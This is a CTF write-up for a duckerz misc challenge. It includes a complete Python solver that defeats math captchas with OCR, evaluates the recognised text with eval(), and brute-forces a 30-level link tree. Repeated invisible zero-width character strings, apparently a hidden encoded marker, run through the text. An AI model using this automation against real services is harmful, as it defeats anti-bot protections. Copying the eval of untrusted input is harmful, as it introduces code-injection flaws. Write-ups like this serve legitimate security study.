← Back to Writeups
CUSTOMMediumMisc

Иерархия (Hierarchy)

XESXOR9/2/20266 min read
#misc#custom#medium#brute_force_tree_traversal#captcha_ocr_bypass#math_expression_eval#session_management

Иерархия (Hierarchy)

Platform: duckerz | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: brute_force_tree_traversal, captcha_ocr_bypass, math_expression_eval, session_management

Summary

Task: Flask web app with 30 levels of navigation, each with 10 MD5 hash links and math captcha. Solution: Brute-force tree traversal with pytesseract OCR to solve captchas and detect level progression by comparing link sets.

Иерархия (Hierarchy) — duckerz CTF

Description

"Если по Данте кругов ада было 9, то для вас их 69" (If Dante had 9 circles of hell, you have 69)

URL: http://tasks.duckerz.ru:30027 Author: z4vr1k_official Solves: 5 | Points: 300

Analysis

Reconnaissance

The service is a Flask application on gunicorn with JWT authentication (flask-jwt-extended):

  • /login — login page
  • /register — new account registration
  • After login, JWT token is set as access_token_cookie cookie
  • /index — main page with navigation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Level Structure

After login, /index shows 10 navigation elements, each being an MD5 hash. Clicking any element opens a modal window with a math captcha — an image with an arithmetic expression.

Example captcha expression:

9050749 - 7162698 * 9319275 ** 4

The captcha is available at /static/captchas/{username}.jpg — white text on black background, clean font without distortions.

Progression Mechanics

  1. User selects one of 10 hashes
  2. Solves the math captcha (operations: +, -, *, **)
  3. POST to /captcha with parameters link (hash) and captcha (answer)
  4. Redirect to /goto/{hash}, then back to /index ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Discovery: Tree with One Correct Path

Out of 10 hashes at each level, only ONE is correct:

  • Correct hash: after solving captcha, /index shows a NEW set of 10 hashes → advance to next level
  • Incorrect hash: /index shows THE SAME hashes → level not passed

The correct hash index is random at each level — no pattern detected. Tested sequence of correct indices: 8, 5, 4, 1, 6, 3, 4, 7, 3, 9, 0, 2, 2, 0, 5, 2, 5, 1, 8, 4, 4, 6, 3, 7, 9, 8, 2, 4, 6.

Hashes are the same for all users — it's a static tree. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Description Deception

The description mentions 69 circles, but there are actually only 30 levels. This is a red herring.

Constraints

  • JWT token expires in ~15 minutes — speed is essential
  • Captcha updates after each submission (new expression)

Solution

Algorithm

  1. Register a new user and login
  2. Get /index page, extract 10 MD5 hashes
  3. For each level:
    • Try hashes in order (brute force)
    • For each hash: download captcha → OCR → eval → submit
    • Check if hashes changed on /index
    • If changed — level passed, proceed to next
    • If not — try next hash
  4. After 30 levels, the flag appears in the page HTML ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Captcha OCR

The captcha is a clean image (white text on black background), perfect for pytesseract:

python
from PIL import Image
import pytesseract

def solve_captcha(image_path):
    """OCR math expression from captcha image"""
    img = Image.open(image_path)
    # PSM 7 = treat image as single text line
    text = pytesseract.image_to_string(img, config='--psm 7')
    text = text.strip()
    # Clean up OCR artifacts
    text = text.replace('x', '*').replace('X', '*')
    result = eval(text)
    return str(result)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Detecting Correct Hash

python
def check_level_changed(session, base_url, old_links):
    """Check if index page shows new links (= level advanced)"""
    resp = session.get(f"{base_url}/index")
    new_links = extract_links(resp.text)
    return new_links != old_links, new_links

Solution Code

python
#!/usr/bin/env python3
"""
Duckerz CTF - Hierarchy Solver
Brute-force tree traversal with OCR captcha solving

Strategy:
- 10 links per level, only 1 is correct
- Try each link, solve captcha, check if links changed
- 30 levels total (not 69 as description claims)
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import re
import time
from PIL import Image
import pytesseract
from io import BytesIO

BASE_URL = "http://tasks.duckerz.ru:30027"

def register_and_login(session, username, password):
    """Register new user and login, get JWT cookie"""
    session.post(f"{BASE_URL}/register", data={
        "username": username,
        "password": password
    })
    resp = session.post(f"{BASE_URL}/login", data={
        "username": username,
        "password": password
    }, allow_redirects=True)
    return resp
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_links(html):
    """Extract MD5 hash links from index page"""
    # Links are MD5 hashes in navigation items
    return re.findall(r'[a-f0-9]{32}', html)

def solve_captcha(session, username):
    """Download captcha image, OCR it, evaluate math expression"""
    resp = session.get(f"{BASE_URL}/static/captchas/{username}.jpg")
    img = Image.open(BytesIO(resp.content))
    
    # PSM 7 = single text line, clean white-on-black image
    text = pytesseract.image_to_string(img, config='--psm 7').strip()
    
    # Clean OCR artifacts
    text = text.replace('x', '*').replace('X', '*')
    text = re.sub(r'[^0-9+\-*\s]', '', text)
    
    result = eval(text)
    return str(result)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def submit_captcha(session, link_hash, answer):
    """Submit captcha answer for given link"""
    resp = session.post(f"{BASE_URL}/captcha", data={
        "link": link_hash,
        "captcha": answer
    }, allow_redirects=True)
    # Follow redirect to /goto/{hash}
    session.get(f"{BASE_URL}/goto/{link_hash}")
    return resp

def solve():
    session = requests.Session()
    username = f"solver_{int(time.time())}"
    password = "password123"
    
    print(f"[*] Registering as {username}")
    register_and_login(session, username, password)
    
    # Get initial links
    resp = session.get(f"{BASE_URL}/index")
    current_links = extract_links(resp.text)
    
    level = 0
    start_time = time.time()
    
    while True:
        level += 1
        print(f"\n[Level {level}] Links: {len(current_links)}")
        
        found = False
        for i, link_hash in enumerate(current_links):
            # Solve captcha
            answer = solve_captcha(session, username)
            print(f"  Trying link {i}: {link_hash[:8]}... captcha={answer}")
            
            # Submit
            submit_captcha(session, link_hash, answer)
            
            # Check if level changed
            resp = session.get(f"{BASE_URL}/index")
            
            # Check for flag
            flag_match = re.search(r'DUCKERZ\{[^}]+\}', resp.text)
            if flag_match:
                elapsed = time.time() - start_time
                print(f"\n{'='*50}")
                print(f"FLAG: {flag_match.group()}")
                print(f"Solved in {elapsed:.0f}s, {level} levels")
                return
            
            new_links = extract_links(resp.text)
            if new_links != current_links:
                print(f"  ✓ Correct! (index {i})")
                current_links = new_links
                found = True
                break
            else:
                print(f"  ✗ Wrong link")
        
        if not found:
            print(f"  ERROR: No correct link found at level {level}")
            break
    
    elapsed = time.time() - start_time
    print(f"\nTotal time: {elapsed:.0f}s")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    solve()

Execution Results

[*] Registering as solver_1739180000
[Level 1] Links: 10
  Trying link 0: a1b2c3d4... captcha=12345678
  ✗ Wrong link
  ...
  Trying link 8: e5f6a7b8... captcha=87654321
  ✓ Correct! (index 8)

[Level 2] Links: 10
  ...
  ✓ Correct! (index 5)

...

[Level 30] Links: 10
  ...
  ✓ Correct! (index 6)

==================================================
FLAG: DUCKERZ{REDACTED}
Solved in 334s, 30 levels

Average attempts per level: ~5 (random index among 10). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons

  1. Descriptions can lie: "69 circles" turned out to be 30 — always verify empirically.

  2. Clean captchas = easy OCR: White text on black background without noise/distortions — pytesseract with --psm 7 handles it perfectly.

  3. Tree brute force: When there's no way to determine the correct path in advance, trying 10 options at each level (averaging 5 attempts) is a viable strategy.

  4. Progress detection: Comparing the set of links before and after submission is a simple and reliable way to determine if we've advanced. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. Speed is critical: JWT expires in ~15 minutes. 30 levels × ~5 attempts × ~2 seconds = ~300 seconds. Just barely fits. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍